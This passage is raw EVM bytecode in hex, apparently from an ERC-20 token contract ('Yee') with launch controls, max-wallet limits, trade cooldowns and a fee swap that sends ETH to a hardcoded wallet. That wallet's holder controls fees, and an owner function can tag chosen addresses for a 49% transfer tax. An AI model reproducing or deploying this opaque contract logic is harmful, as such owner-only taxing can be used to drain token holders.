161018b565b34801561029157600080fd5b5061021b6102a036600461183f565b6001600160a01b031660009081526001602052604090205490565b3480156102c757600080fd5b506101e4610734565b3480156102dc57600080fd5b506007546008546102eb919082565b6040805192835260208301919091520161018b565b34801561030c57600080fd5b506101e46107a8565b34801561032157600080fd5b506000546040516001600160a01b03909116815260200161018b565b34801561034957600080fd5b5060408051808201909152600381526259656560e81b602082015261017e565b34801561037557600080fd5b506101e461038436600461185a565b6107f4565b34801561039557600080fd5b506101e46103a43660046118d9565b61085e565b3480156103b557600080fd5b506101b46103c4366004611773565b6109ee565b3480156103d557600080fd5b5061021b6109fb565b3480156103ea57600080fd5b506101e4610a18565b3480156103ff57600080fd5b5061021b61040e36600461192d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561044557600080fd5b5061021b603181565b34801561045a57600080fd5b506101e4610469366004611957565b610ac9565b34801561047a57600080fd5b506101e4610489366004611826565b610b51565b600061049b338484610c3f565b5060015b92915050565b336001600160a01b037f000000000000000000000000a4284d255f078fc65548602b2e479eaa97dd58f316146104da57600080fd5b60098054911515620100000262ff000019909216919091179055565b336001600160a01b037f000000000000000000000000a4284d255f078fc65548602b2e479eaa97dd58f3161461052b57600080fd5b6007548211156105565760405162461bcd60e51b815260040161054d906119a3565b60405180910390fd5b6008548111156105785760405162461bcd60e51b815260040161054d906119a3565b600791909155600855565b60006105916009600a611ae0565b61059f90633b9aca00611aef565b905090565b6001600160a01b03831660009081526002602090815260408083203384529091528120548211156106285760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161054d565b6001600160a01b03841660009081526002602090815260408083203380855292529091205461066391869161065e908690611b06565b610c3f565b61066e848484610d63565b5060019392505050565b336001600160a01b037f000000000000000000000000a4284d255f078fc65548602b2e479eaa97dd58f316146106ad57600080fd5b6000811180156106bd5750600481105b61072f5760405162461bcd60e51b815260206004820152603c60248201527f546f6b656e3a206f6e6c7920747261646520636f6f6c646f776e2076616c756560448201527f7320696e2072616e67652028302c3429207065726d69737369626c6500000000606482015260840161054d565b600655565b6000546001600160a01b0316331461075e5760405162461bcd60e51b815260040161054d90611b19565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107d25760405162461bcd60e51b815260040161054d90611b19565b600b805460029160006107e483611b4e565b91905055106107f257600080fd5b565b6000546001600160a01b0316331461081e5760405162461bcd60e51b815260040161054d90611b19565b306001600160a01b0383160361083357600080fd5b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108885760405162461bcd60e51b815260040161054d90611b19565b60005b828110156109e8577f000000000000000000000000bc7ce7b6b5437d7d715fbb1cc7b4ec12399c55166001600160a01b03168484838181106108cf576108cf611b67565b90506020020160208101906108e4919061183f565b6001600160a01b03161415801561093e5750737a250d5630b4cf539739df2c5dacb4c659f2488d84848381811061091d5761091d611b67565b9050602002016020810190610932919061183f565b6001600160a01b031614155b801561097957503084848381811061095857610958611b67565b905060200201602081019061096d919061183f565b6001600160a01b031614155b61098257600080fd5b816003600086868581811061099957610999611b67565b90506020020160208101906109ae919061183f565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806109e081611b4e565b91505061088b565b50505050565b600061049b338484610d63565b610a076009600a611ae0565b610a15906301312d00611aef565b81565b6000546001600160a01b03163314610a425760405162461bcd60e51b815260040161054d90611b19565b600b546002148015610a57575060095460ff16155b610aa35760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a2074726164696e6720616c7265616479206f70656e0000000000604482015260640161054d565b43600a6000828254610ab59190611b7d565b90915550506009805460ff19166001179055565b6000546001600160a01b03163314610af35760405162461bcd60e51b815260040161054d90611b19565b6002600b54108015610b1457506002600b546001610b119190611b7d565b10155b610b2057610b20611b90565b600b8054906000610b3083611b4e565b919050555080600a6000828254610b479190611b7d565b9091555050505050565b336001600160a01b037f000000000000000000000000a4284d255f078fc65548602b2e479eaa97dd58f31614610b8657600080fd5b806000108015610b97575060648111155b610c095760405162461bcd60e51b815260206004820152603760248201527f546f6b656e3a206f6e6c792070657263656e742076616c75657320696e20726160448201527f6e67652028302c3130305d207065726d69737369626c65000000000000000000606482015260840161054d565b30600090815260016020526040812054606490610c269084611aef565b610c309190611ba6565b9050610c3b816112a4565b5050565b6001600160a01b038316610ca15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054d565b6001600160a01b038216610d025760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600954839060ff1680610da757507f000000000000000000000000a4284d255f078fc65548602b2e479eaa97dd58f36001600160a01b0316816001600160a01b0316145b80610dce57506001600160a01b03811673a4284d255f078fc65548602b2e479eaa97dd58f3145b610dd757600080fd5b6001600160a01b038416610e3b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161054d565b6001600160a01b038316610e9d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054d565b60008211610f065760405162461bcd60e51b815260206004820152603060248201527f546f6b656e3a207472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b606482015260840161054d565b6001600160a01b03841660009081526001602052604081208054849290610f2e908490611b06565b90915550506001600160a01b0384163014801590610f6957506001600160a01b03841673a4284d255f078fc65548602b2e479eaa97dd58f314155b8015610f9257506001600160a01b03831673a4284d255f078fc65548602b2e479eaa97dd58f314155b8015610fd057507f000000000000000000000000a4284d255f078fc65548602b2e479eaa97dd58f36001600160a01b0316836001600160a01b031614155b156112225760095462010000900460ff16801561100657506001600160a01b03841660009081526005602052604090205460ff16155b801561102b57506001600160a01b03831660009081526005602052604090205460ff16155b1561106257600061103c8585611497565b9050611047816114c4565b6001600160a01b031660009081526004602052604090204390555b7f000000000000000000000000bc7ce7b6b5437d7d715fbb1cc7b4ec12399c55166001600160a01b0316846001600160a01b03161480156110c057506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b1561116f576110d16009600a611ae0565b6110df906301312d00611aef565b826110ff856001600160a01b031660009081526001602052604090205490565b6111099190611b7d565b111561116f5760405162461bcd60e51b815260206004820152602f60248201527f546f6b656e3a207472616e7366657220696d706c6965732076696f6c6174696f60448201526e1b881bd9881b585e081dd85b1b195d608a1b606482015260840161054d565b306000908152600160205260409020546111898582611566565b1561119757611197816112a4565b60006111a386856115f7565b9050801561121f576111b58185611b06565b306000908152600160205260408120805492965083929091906111d9908490611b7d565b909155505060405181815230906001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b50505b6001600160a01b0383166000908152600160205260408120805484929061124a908490611b7d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161129691815260200190565b60405180910390a350505050565b6009805461ff0019166101001790556112bc816116af565b306000908152600260209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020549091508111156113285761132830737a250d5630b4cf539739df2c5dacb4c659f2488d61131a6009600a611ae0565b61065e90633b9aca00611aef565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061135d5761135d611b67565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106113b1576113b1611b67565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac94790611409908590600090869030904290600401611bc8565b600060405180830381600087803b15801561142357600080fd5b505af1158015611437573d6000803e3d6000fd5b5047925050811590506114875760405173a4284d255f078fc65548602b2e479eaa97dd58f39082156108fc029083906000818181858888f19350505050158015611485573d6000803e3d6000fd5b505b50506009805461ff001916905550565b6000823b15806114a65750813b155b6114af57600080fd5b823b156114bd57508061049f565b508161049f565b6001600160a01b038116600090815260046020526040812054158061151757506114ef436001611b7d565b6006546001600160a01b0384166000908152600460205260409020546115159190611b7d565b105b905080610c3b5760405162461bcd60e51b815260206004820152601a60248201527f4d6178207478206672657175656e637920657863656564656421000000000000604482015260640161054d565b600954600090610100900460ff161580156115b357507f000000000000000000000000bc7ce7b6b5437d7d715fbb1cc7b4ec12399c55166001600160a01b0316836001600160a01b031614155b80156115d657506115c66009600a611ae0565b6115d390624c4b40611aef565b82115b80156115f0575043600a5460016115ed9190611b7d565b11155b9392505050565b6001600160a01b03821660009081526003602052604081205460ff16806116205750600a544311155b15611643576064611632603184611aef565b61163c9190611ba6565b905061049f565b6064600a54600014611698577f000000000000000000000000bc7ce7b6b5437d7d715fbb1cc7b4ec12399c55166001600160a01b0316846001600160a01b0316146116905760085461169b565b60075461169b565b60195b6116a59084611aef565b6115f09190611ba6565b60006116bd6009600a611ae0565b6116cb906301312d00611aef565b82116116ef576116dd6009600a611ae0565b6116ea90624c4b40611aef565b61049f565b6116fb6009600a611ae0565b61049f906301312d00611aef565b600060208083528351808285015260005b818110156117365785810183015185820160400152820161171a565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461176e57600080fd5b919050565b6000806040838503121561178657600080fd5b61178f83611757565b946020939093013593505050565b8035801515811461176e57600080fd5b6000602082840312156117bf57600080fd5b6115f08261179d565b600080604083850312156117db57600080fd5b50508035926020909101359150565b6000806000606084860312156117ff57600080fd5b61180884611757565b925061181660208501611757565b9150604084013590509250925092565b60006020828403121561183857600080fd5b5035919050565b60006020828403121561185157600080fd5b6115f082611757565b6000806040838503121561186d57600080fd5b61187683611757565b91506118846020840161179d565b90509250929050565b60008083601f84011261189f57600080fd5b50813567ffffffffffffffff8111156118b757600080fd5b6020830191508360208260051b85010111156118d257600080fd5b9250929050565b6000806000604084860312156118ee57600080fd5b833567ffffffffffffffff81111561190557600080fd5b6119118682870161188d565b909450925061192490506020850161179d565b90509250925092565b6000806040838503121561194057600080fd5b61194983611757565b915061188460208401611757565b60008060006040848603121561196c57600080fd5b833567ffffffffffffffff81111561198357600080fd5b61198f8682870161188d565b909790965060209590950135949350505050565b60208082526023908201527f546f6b656e3a206f6e6c792066656520726564756374696f6e207065726d69746040820152621d195960ea1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611a37578160001904821115611a1d57611a1d6119e6565b80851615611a2a57918102915b93841c9390800290611a01565b509250929050565b600082611a4e5750600161049f565b81611a5b5750600061049f565b8160018114611a715760028114611a7b57611a97565b600191505061049f565b60ff841115611a8c57611a8c6119e6565b50506001821b61049f565b5060208310610133831016604e8410600b8410161715611aba575081810a61049f565b611ac483836119fc565b8060001904821115611ad857611ad86119e6565b029392505050565b60006115f060ff841683611a3f565b808202811582820484141761049f5761049f6119e6565b8181038181111561049f5761049f6119e6565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060018201611b6057611b606119e6565b5060010190565b634e487b7160e01b600052603260045260246000fd5b8082018082111561049f5761049f6119e6565b634e487b7160e01b600052600160045260246000fd5b600082611bc357634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c185784516001600160a01b031683529383019391830191600101611bf3565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212201ab51783a1a6c7d35c0939666edbacc3f38208a35228055d898ddeea2d15b31064736f6c63430008130033